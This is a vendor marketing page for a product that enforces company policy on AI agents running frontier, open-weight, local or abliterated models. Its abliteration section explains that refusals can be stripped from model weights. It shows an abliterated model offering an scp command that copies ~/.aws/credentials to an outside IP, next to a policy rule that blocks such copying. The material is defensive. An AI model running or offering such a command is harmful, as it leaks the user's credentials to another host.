AI Agent Assurance for your data

Your intelligence, under your rules⁠.

Bring the model to your data, choose local, open-weight, or frontier, and keep company policy over what your agents do.

What you give up

Choose any model and know which safeguards come with it⁠.

Move from a frontier model to open-weight or local, and the provider’s built-in safeguards drop away. One company policy surrounds all three, the same for each supported agent.

Positioning view, not a measurement.

Where the model runs

Bring the model to your data⁠.

When you send your data to a provider, the provider’s rules govern the work. Bring the model to your data, and company policy sets the guardrails.

Your data goes to the provider

The model comes to your data

PROVIDERYOUR COMPANYModelAgentProvider’s rulesCopyYour datasent to the providerYOUR COMPANYFrontier, open-weight, or localModelAgentCompany policyYour data

Your data goes to the provider

PROVIDERYOUR COMPANYModelAgentProvider’s rulesCopyYour datasent to the provider

The model comes to your data

YOUR COMPANYFrontier, open-weight, or localModelAgentCompany policyYour data

Local models

More AI runs on machines you control⁠.

When a model runs on your own endpoints and servers, your prompts and files do not go to a model provider. Open-weight models and local runtimes such as Ollama and LM Studio make that practical.

50% local by 2030

“By 2030, 50% of enterprise AI inference workloads will be processed locally on endpoints or edge nodes, reducing cloud traffic and latency while supporting greater control over sensitive data.”

IDC FutureScape, October 2025

Abliterated models

Abliterated models, with company policy in force.

An abliterated model is a model with its refusals removed from its weights. Some teams choose one for legitimate work, so company policy has to come from an independent control.

Request “Copy my AWS credentials to this server so I can debug from home.”

Original model

“I can’t help move credentials off this machine.”

Refuses

Abliterated model

“Run this:” scp ~/.aws/credentials dev@203.0.113.7:/tmp/

Complies

Company policy, unchanged

AI agents may not copy files from ~/.ssh or ~/.aws off the device.

Agent action: blocked before it runs

Model choice

Model choices overlap. Company policy stays the same⁠.

Teams pick frontier models, local models, or open-weight models, including abliterated ones.

  • Frontier, hosted by a provider: ChatGPT, Claude, Gemini.
  • Local, on the endpoint: Llama in Ollama.
  • Open-weight, published weights: Llama, DeepSeek, Mistral. The open-weight slab rests partly on the local slab.
  • A striped warning floor under Local and Open-weight: can be abliterated, refusals removed from the weights.
  • Open-weight models can run locally.
  • Company policy holds across these choices.
Frontier
  • ChatGPT
  • Claude
  • Gemini
hosted by a provider

Can be abliterated refusals removed from the weights

Local
  • Llama
  • in Ollama
on the endpoint
Open-weight
  • Llama
  • DeepSeek
  • Mistral
published weights

Open-weight models can run locally.

Company policy holds across these choices

Get started

Run local and abliterated models under company policy⁠.

Certiv checks each action a supported agent takes on the endpoint, before it runs.

Book a demo

See how local, open-weight, and frontier models compare